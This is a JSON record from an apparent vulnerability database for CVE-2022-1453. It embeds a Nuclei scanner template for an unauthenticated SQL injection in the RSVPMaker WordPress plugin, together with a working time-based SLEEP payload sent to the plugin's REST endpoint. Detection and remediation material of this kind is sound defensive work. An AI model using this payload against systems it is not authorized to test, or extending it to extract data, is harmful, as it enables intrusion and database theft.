{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-1453/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-1453/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-1453/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-1453/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-1453/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-1453/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2022-1453"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2022-1453"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-1453.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-1453\n\ninfo:\n  name: RSVPMaker <= 9.2.5 - SQL Injection\n  author: Shivam Kamboj\n  severity: critical\n  description: |\n    The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-util.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.5.\n  impact: |\n    Attackers can retrieve sensitive data from the database without authentication, leading to data breach and privacy violations.\n  remediation: |\n    Update to version 9.2.6, or later\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/rsvpmaker/rsvpmaker-925-unauthenticated-sql-injection\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-1453\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-1453\n    epss-score: 0.06922\n    epss-percentile: 0.94126\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,rsvpmaker,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /wp-json/rsvpmaker/v1/sked/1?post_id=(SELECT%209999%20FROM%20(SELECT(SLEEP(7)))a) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 7'\n          - 'status_code == 200'\n          - 'regex(\"false$\", body)'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 490a0046304402204ba14e165492e5f43fde2453caece0c78dfc18621b6c583b2c9d2d95ea3eacfb022014b1d231a0df5652b9cfc942e5f8a9e975fa941ca01ddb41043df3c18396a03f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-1453"}